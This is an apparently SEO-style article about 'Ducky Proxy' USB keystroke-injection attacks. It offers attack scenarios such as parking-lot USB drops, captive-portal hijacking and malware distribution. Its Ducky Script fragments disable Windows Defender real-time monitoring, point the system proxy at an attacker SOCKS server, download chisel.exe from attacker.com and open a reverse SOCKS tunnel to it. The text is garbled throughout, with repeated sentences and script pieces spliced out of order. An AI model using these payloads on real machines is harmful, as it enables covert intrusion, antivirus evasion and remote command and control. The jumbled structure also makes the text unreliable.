In advanced Ducky Proxy setups, the script instructs the victim to connect to a remote proxy using a tool like plink.exe (PuTTY Link) or chisel to create a SOCKS tunnel back to the attacker. This turns the victim into a node in the attacker's private network. Real-World Applications (Ethical & Malicious) 1. Red Teaming Air-Gapped Networks Imagine a secure facility with no WiFi and strict egress filtering. A red teamer drops a Ducky Proxy device in the parking lot. An employee picks it up and plugs it into their workstation out of curiosity. The script configures the machine to use a proxy on an unexpected port (e.g., 443 SSL) that bypasses the outbound firewall. The red team now has a live C2 channel. 2. Bypassing Captive Portals In hotels or universities, a Ducky Proxy can automate accepting the captive portal terms and then setting up an SSH tunnel back home, allowing the attacker to use the victim's authenticated session. 3. Malware Distribution Instead of downloading a large malware binary (which triggers AV), the Ducky Proxy script downloads a tiny proxy client. Once the proxy is active, the attacker browses the web via the victim. The victim never sees a malicious executable, only a change in network settings. The Technical Deep Dive: Crafting a Ducky Proxy Script For educational purposes, a simple Ducky Proxy script for Windows might look like this (using Ducky Script 3.0):
Test your own organization. Plug a legitimate keyboard into a workstation and change the proxy settings in under five seconds. If you can do it without an alert, an attacker can too—with a Ducky Proxy. Keywords: Ducky Proxy, USB Rubber Ducky, keystroke injection, proxy server, red teaming, HID attack, network pivoting, SOCKS proxy, BadUSB, cybersecurity. ducky proxy
REM Optional: Download and run a stunnel or Chisel client for encrypted proxy STRING powershell Invoke-WebRequest -Uri "http://attacker.com/chisel.exe" -OutFile "$env:temp\chisel.exe" ENTER DELAY 1000 STRING $env:temp\chisel.exe client attacker.com:8000 R:socks ENTER In advanced Ducky Proxy setups, the script instructs
REM Title: Ducky Proxy - SOCKS Tunneling via Netsh DELAY 3000 GUI r DELAY 500 STRING cmd CTRL-SHIFT ENTER DELAY 1000 ALT y DELAY 500 REM Disable Windows Defender Real-time Monitoring STRING powershell Set-MpPreference -DisableRealtimeMonitoring $true ENTER DELAY 500 Red Teaming Air-Gapped Networks Imagine a secure facility
Whether you are a red teamer trying to establish an egress channel from a locked-down air-gapped machine, or a blue teamer trying to understand how an attacker bridges physical access to remote command and control (C2), understanding the Ducky Proxy is critical.
REM Configure WinHTTP Proxy to attacker's SOCKS server (Listens on 127.0.0.1:9050 after SSH) STRING netsh winhttp set proxy proxy-server="socks=192.168.1.50:1080" bypass-list="*.local" ENTER DELAY 500
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